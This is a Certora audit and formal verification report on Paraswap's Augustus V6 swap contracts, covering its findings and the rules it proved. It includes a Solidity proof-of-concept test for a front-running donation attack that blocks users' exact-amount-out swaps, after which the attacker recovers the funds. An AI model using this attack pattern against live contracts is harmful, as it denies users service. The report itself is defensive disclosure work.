certora

Security Assessment & Formal Verification Report

Paraswap-Augustus

May 2024

Prepared for
Paraswap

Table of contents

Project Summary

Project Scope

Repo Name	Repository	Commit	Compiler version	Platform
paraswap-augustus	Paraswap Github	783347ee10c241414944b9afb4c848964ebcff01 Fix commit: f000850fb509ef60badace500b1a6d4703dd2405	Solidity 0.8.22	EVM

Project Overview

This document describes the specification and verification of the **Paraswap-Augustus** using the Certora Prover and manual code review findings. The work was undertaken from **14 April 2024** to **22 May 2024**.

The following contract list is included in our scope:
`./src`

excluding:

`./src/executors/`

The Certora Prover demonstrated the implementation of the Solidity contracts above is correct with respect to the formal rules written by the Certora team. In addition, the team performed a manual audit of all the Solidity contracts**.** During the verification process and the manual audit, the Certora Prover discovered bugs in the Solidity contracts code, as listed below.

Findings Summary

The table below summarizes the findings of the review, including type and severity details.

Severity	Discovered	Acknowledged	Code Fixed
Critical	0	-	-
High	0	-	-
Medium	3	3	3
Low	3	3	0
Informational	2	2	2
Total	**8**	**8**	**5**

Detailed Findings

Medium Severity Concerns

M-1. SwapExactAmountOut denial of service through recoverable donations

Severity: Medium
Contracts: *AugustusFees.sol, UniswapV2SwapExactAmountOut.sol, GenericSwapExactAmountOut.sol, BalancerV2SwapExactAmountOut.sol, UniswapV3SwapExactAmountOut.sol**
Impact: Medium
Probability: High
Description: All calls to SwapExactAmountOut routers can suffer from denial of service (DOS) by an attacker donating to the protocol. This comes at little to no cost to the attacker because they can recover the amount donated. All calls to SwapExactAmountOut will likely represent a big percentage of the total calls made to the protocol, this DOS can effectively make a crucial part of the protocol unusable, leading to a great loss of users.

Here's a breakdown:

- Exploiter watches the mempool for users calling swapExactAmountOut on any router.
- Exploiter front-runs the user with a donation of source token to the Augustus contract. This will inflate the remaining amount, which is derived from the contract's balance.
- In AugustusFees.sol line 347, given the exploiter has donated enough to the contract, the remaining amount will exceed the fromAmount variable, leading to a revert due to underflow.
- In order to recover his donation after causing the DOS, the exploiter calls swapExactAmountOut so the remaining balance in the contract returns to their address. Please see POC below for more details. [Link to PoC gist]

*In UniswapV3SwapExactAmountOut.sol this issue is only present when the execution path falls between lines 120-136 in the branch `if (fromAddress = address(this))` and there are multiple pools or the source token is ETH.

PoC:

```
function test_swapExactAmountOutOnDOS() public {


        bytes memory pools =

hex"0001A500A6B18995B03f44bb040A5fFc28E45CB0C02aaA39b223FE8D0A0e5C4F27eAD9083C75
6Cc2000000000000000000000000000000000000000000000";

        changePrank(users.exploiter.account);

        // Send ETH (srcToken) directly to Augustus so `remainingAmount >
maxAmountIn'
        // 1 ether here just for simplicity. In reality it just needs to be 1
wei higher than maxAmountIn - amount used for swap.
        // for example: fromAmount < remainingAmount + X (where X is the
frontrun deposit).
        // If maxAmountIn is fully used in the swap then X must be equal to
maxAmountIn + 1
        (bool sent, bytes memory data) =
address(directSwapExactAmountOut).call{value: 1 ether}(""); // Returns false on
failure
        require(sent, "Failed to send Ether");


        // Get balance before
        uint256 balanceBefore = OLAS_MAINNET.balanceOf(whale);

        // Prank to Whale (user)
        changePrank(whale);
        // reverts with underflow
        vm.expectRevert();
        directSwapExactAmountOut
            // Execute Swap
            .swapExactAmountOutOnUniswapV2{ value: 166_972_972_010_172_017 }(
            UniswapV2Data({
                srcToken: IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), //
ETH
                destToken: OLAS_MAINNET,
                fromAmount: 166_972_972_010_172_017,//MaxAmountIn ~0,17 eth`
                quotedAmount: 166_972_972_010_172_017,
                toAmount: 80 ether, // of OLAS
                metadata: bytes32(0),
                beneficiary: payable(whale),
                pools: pools
            }),
            uint256(uint160(address(0))) << 96 | uint256(0), // partnerAndFee
            bytes("") // permit
        );

        // Verify balance increased by 1 ether. (remainingAmount)
        assertEq(address(directSwapExactAmountOut).balance, 1 ether);

        // Do sandwich back run to rescue 1 ether.

        changePrank(users.exploiter.account);
        directSwapExactAmountOut
            // Execute Swap
            .swapExactAmountOutOnUniswapV2{ value: 2 ether }(
            UniswapV2Data({
                srcToken: IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), //
ETH
                destToken: OLAS_MAINNET,
                fromAmount: 2 ether,// maxAmountIn = remainingAmount = 1 ether`
                quotedAmount: 0,
                toAmount: 940 ether, // ~2 ether worth of OLAS
                metadata: bytes32(0),
                beneficiary: payable(users.exploiter.account),
                pools: pools
            }),
            uint256(uint160(address(0))) << 96 | uint256(0), // partnerAndFee
            bytes("") // permit
        );

        // Verify Augustus balance only has 1 wei left.
        assertEq(address(directSwapExactAmountOut).balance, 1);

        uint exploiterBalance = 97 ether + 1038937505463583475;
        //Verify exploiter recovered 1 ETH and the rest of funds use in OLAS.
        assertEq(users.exploiter.account.balance, exploiterBalance);
        assertEq(OLAS_MAINNET.balanceOf(users.exploiter.account),
939999999999999999999);

    }
```

Recommendation: We recommend two options:

1. Simply check the contract balance of source token at the start of the function and send any existing funds to another contract, effectively zeroing out the balance.
2. Check the contract balance of source token at the start of the function, prior to the transfer of new funds to the contract and the performing of the swap. If such a balance is larger than zero, then subtract that amount from the remaining amount after the swap.

Customer's response: Acknowledged and fixed.

M-2. Dust can be taken from the contract

Severity: Medium
Contract: *AugustusFees.sol, UniswapV2SwapExactAmountOut.sol, GenericSwapExactAmountOut.sol, BalancerV2SwapExactAmountOut.sol*
Impact: Medium
Probability: High
Description: Security issue in the `swapExactAmountOutOnUniswapV2` function. Dust can be stolen from the protocol when a user swaps a token for the same token (i.e., `srcToken == destToken`). Here's a breakdown:

- The function calls `processSwapExactAmountOutFeesAndTransfer` with the parameters `remainingAmount` and `receivedAmount`, which are identical when the source and destination tokens are the same. This condition effectively means both amounts are equal to `token.getBalance(this).`
- Within `processSwapExactAmountOutFeesAndTransfer`, two consecutive transactions occur:
    1. `_transferIfGreaterThanOne` transfers the `remainingAmount` of the `srcToken` back to the sender, which leaves dust in the contract.
    2. `destToken.safeTransfer(beneficiary, --receivedAmount)` is intended to leave dust on the contract, but since `receivedAmount` was greater than one and the balance was already reduced to one and passed to the sender, the remaining dust (one) gets transferred to the beneficiary.

This results in the contract losing the dust amount every time such a swap is executed.

Recommendation: We recommend the Paraswap team to consider a different logic for same token swaps, where the accounting is not done using the contract balances, but instead uses return values from the swap in conjunction with transfer values to accurately calculate any given variable.

Customer's response: Acknowledged and fixed.

M-3. Same token multihop swaps (arbitrage) are not possible

Severity: Medium
Contract: *AugustusFees.sol, UniswapV2SwapExactAmountOut.sol, GenericSwapExactAmountOut.sol, BalancerV2SwapExactAmountOut.sol, UniswapV3SwapExactAmountOut.sol*
Impact: Medium
Probability: High
Description: Users cannot perform positive arbitrage when source token and destination token are the same. For example if there is an arbitrage where the results of swapping 10 ETH in a ETH/USDC pool are different from swapping 10 ETH in a ETH/USDT pool, users will not be able to take advantage of it by performing a ETH/USDC -> ETH/USDT multihop swap.

This is due to the subtraction in line 347 in AugustusFees.sol, which assumes fromAmount will always be lower than remainingAmount. However, if the source token is the same as destination token and a positive arbitrage is performed, remainingAmount, which is derived from the balance after the swap will be higher than fromAmount. This would lead to a revert due to underflow. In case of UniswapV3SwapExactAmountOut.sol this revert will occur on line 159 if fromAddress = msg.sender.

Recommendation: We recommend the Paraswap team to consider a different logic for same token swaps, where the accounting is not done using the contract balances, but instead uses return values from the swap in conjunction with transfer values to accurately calculate any given variable.

Customer's response: Acknowledged and fixed.

Low Severity Concerns

L-1. Selfdestruct to be deprecated

Severity: Low
Contract: *SelfdestructFacet.sol*
Impact: Low
Probability: Low
Description: According to EIP-4758 the opcode selfdestruct will be deprecated, therefore, making this facet redundant.

Recommendation: We recommend removing this facet all together to reduce code complexity and prevent accidental calls to selfdestruct.

Customer's response: Acknowledged. It's not deprecated on all chains atm (and we don't have to deploy it, it's a removable facet, we can also remove it once it's deprecated on all chains).

L-2. Lack of two step ownership transfer

Severity: Low
Contract: *OwnershiptFacet.sol*
Impact: Low
Probability: Low
Description: Augustus owner can be changed atomically, which can lead to catastrophic results in case of key compromise or accidental mistake.

Recommendation: We recommend using OpenZeppelin's Ownable2Step.sol or implementing similar logic.

Customer's response: Acknowledged. We're using AugustusGovernance as the owner of augustus, ownership transfers will have to go through a multisig and backed by a timelock, we trust our process will make sure we are not transferring to 0 address.

L-3. No zero address check when transferring ownership

Severity: Low
Contract: *OwnershiptFacet.sol*
Impact: Low
Probability: Low
Description: Augustus owner can be changed atomically, which can lead to catastrophic results in case of key compromise or accidental mistake. Lacking a zero address check makes this even more dangerous.

Recommendation: We recommend introducing a zero address check.

Customer's response: Acknowledged. We're using AugustusGovernance as the owner of augustus, ownership transfers will have to go through a multisig and backed by a timelock, we trust our process will make sure we are not transferring to 0 address.

Informational Concerns

I-1. Wrong documentation

Severity: Info
Contract: *GenericSwapExactAmountout.sol*
Description: The banner spanning lines 26-28 should say *`SWAP EXACT AMOUNT OUT`* instead of *`SWAP EXACT AMOUNT IN.`*

Customer's response: Acknowledged and fixed.

I-2. Documentation Inconsistency

Severity: Info
Contract: *AugustusFees.sol,*
Description:

1. Some documentation is in the interfaces, while other is in the actual contract. Keeping things standardized helps readability. AugustusFees.sol for example contains documentation in the contract, whereas most other smart contracts have their documentation located in their interfaces.
2. There is a change in naming conventions between input variables in the function processSwapExactAmountOutFeesAndTransfer() in AugustusFees.sol. When it's being called through SwapExactAmountOut from any router a crucial variable changes it's name from maxAmountIn to fromAmount. This hurts readability, especially considering contracts like UniswapV2Utils.sol and UniswapV3Utils.sol use the same nomenclature in an entirely different context. We recommend changing fromAmount to maxAmountIn in line 338 in AugustusFees.sol.

Customer's response: Acknowledged and fixed.

Formal Verification

Verification Overview

General assumptions

- Any loop was unrolled to at most 2 iterations.
- Only standard ERC20 tokens and the WETH token were used in the verification.

The following contracts were formally verified by the properties which are listed below per library\contract:

A. AugustusGovernance
B. AugustusFeeVault
C. AugustusV6

Rules verification is updated to commit d465d96b8b0505a638eaa6f7857d4859afa7

Verification Notations

Verified	The rule is verified for every state of the contract(s), under the assumptions of the scope/requirements in the rule.
Violated	A counter example exists that violates one of the assertions of the rule.

certora

AugustusGovernance

Assumptions

- Governance proposals do not remove pause and diamond cut facets.
  Any future governance proposal that should be executed via the execute() functions should be checked and verified.

Rule Name	Description
Verified **roleAdminIsImmutable**	The role admin of any role is immutable.
Verified **PauserAdminIsDefaultAdmin**	The role admin of the PAUSER role is the DEFAULT_ADMIN_ROLE
Verified **onlyRoleAdminRevokesOrGrantsRole**	Only the admin of a role can grant or revoke a role. Otherwise, the only way to lose a role is renounce by the role owner.
Verified **pauseMustSucceed**	A call to pause() must succeed if the following conditions hold: - The admin facet address is set for the setContractPauseState selector. - The msg.value is zero. - The governance contract is the AugustusV6 owner. - The executor of pause() has the PAUSER_ROLE.
Verified **cannotCutSpecialFacets**	Any call to diamondCut() excludes the pause() and diamondCut() selectors. (Excluding execution functions since they are controlled by governance proposals).

AugustusFeeVault

Assumptions

- The contract owner is the Augustus Governance contract.
- The AugustusV6 is a registered contract.

Rule Name	Description
Verified **whenPausedWithdrawalIsDisabled**	If paused, no token withdrawal can be executed.
Verified **setContractPauseStateIntegrity**	setContractPauseState() doesn't revert if and only if: - The msg.sender is the contract owner. - The msg.value = 0 - The function 'pause' argument differs from the contract pause state.
Verified **whichFunctionCanPause**	Only setContractPauseState() can pause the contract.
Verified **ownerSetsOwner**	Only the owner sets the owner (except for deployment)
Verified **onlyRegisteredContractsRegisterFees**	Only registered augustus contracts should be able to register fees on the fee vault.
Verified **VaultTokenBalanceGreaterThanAllocatedFees**	The vault ERC20 token balance is always larger or equal to the allocated fees of that token.
Verified **SumOfClaimerFeesEqualsAllocatedFees**	For each token, the sum of claimer fees for all addresses equals the allocated fees.

Verified **withdrawalsAreIndependent**	Withdrawals success should be user-independent (no front-running).

AugustusV6

Assumptions

- The contract owner is the Augustus Governance contract.
- The diamondCut() method doesn’t cut the pause() and diamondCut() selectors.
- We ignored calls through the Permit2 contract and assumed all swaps are through the external protocol.
- The Uniswap pools were mocked by a generic pool that swaps any two tokens with an arbitrary price (undetermined).
- The fee wallet address is not the Augustus contract address.
- The Augustus contract never calls itself (via any facet \ delegate calls).

Rule Name	Description
Verified **whenPausedSwapIsDisabled**	If paused, no swap can be executed.
Verified **pauseFacetIsImmutable**	The pausing facet is immutable.
Verified **diamondCutFacetIsImmutable**	The diamond cut facet is immutable.
Verified **diamondLoupeFacetIsImmutable**	The diamondLoupe() Facet is immutable.
Verified **onlyOwnerPausesContract**	Only the owner can call setContractPauseState().

Verified **setContractPauseStateIntegrity**	setContractPauseState() doesn't revert if and only if: - The msg.sender is the contract owner. - The msg.value = 0 - The admin facet address is set for the setContractPauseState selector.
Verified **blackListedTokenFeesCannotBeAccumulated**	Paraswap should not take fees on blacklisted tokens (partners can still opt in).
Verified **genericSwapExactInExecutorFallback**	The generic swap \`swapExactAmountIn\` always calls the fallback (zero selector) of the executor.
Verified **genericSwapExactOutExecutorFallback**	The generic swap \`swapExactAmountOut\` always calls the fallback (zero selector) of the executor.
Verified **contractRetainOneOrZeroWei**	Contract does not retain extra dust (there should only be a maximum of 1 wei dust on the contract of each asset(including native eth).
Verified **beneficiaryGetsHisShare**	If beneficiary is not address(0) or msg.sender then transfer should be done to beneficiary
Verified **zeroAddressBalanceIsImmutable**	Never transfer tokens to address(0).
Verified **spendAtMostMaxAmountIn**	(buy) a user should never spend more than his maximum amount in

Verified **recieveAtLeastMinAmountOut**	(sell) if no fixed fees are involved, a user should never receive less than his minimum amount out. If there are fees, the total amount of distributed fees and the beneficiary part is at least the min amount out. (Verified for Uniswap routers)
Violated **leaveOneWei** **Issue:** **M-2. Dust can be stolen from the contract**	Contract should retain 1 wei dust after swapping. Violated for exact amount out routers except UniswapV3 **Verified after fix commit.**
arbitrageLiveness_swapExactAmountOutOnUniswapV2 **Issue:** **M-3. Same token multihop swaps are not possible**	Arbitrage Liveness. **Deprecated after fix commit.**

Disclaimer

The Certora Prover takes a contract and a specification as input and formally proves that the contract satisfies the specification in all scenarios. Notably, the guarantees of the Certora Prover are scoped to the provided specification and the Certora Prover does not check any cases not covered by the specification.

Even though we hope this information is helpful, we provide no warranty of any kind, explicit or implied. The contents of this report should not be construed as a complete guarantee that the contract is secure in all dimensions. In no event shall Certora or any of its employees be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the results reported here.

About Certora

Certora is a Web3 security company that provides industry-leading formal verification tools and smart contract audits. Certora's flagship security product, Certora Prover, is a unique SaaS product that automatically locates even the most rare & hard-to-find bugs on your smart contracts or mathematically proves their absence. The Certora Prover plugs into your standard deployment pipeline. It is helpful for smart contract developers and security researchers during auditing and bug bounties.

Certora also provides services such as auditing, formal verification projects, and incident response.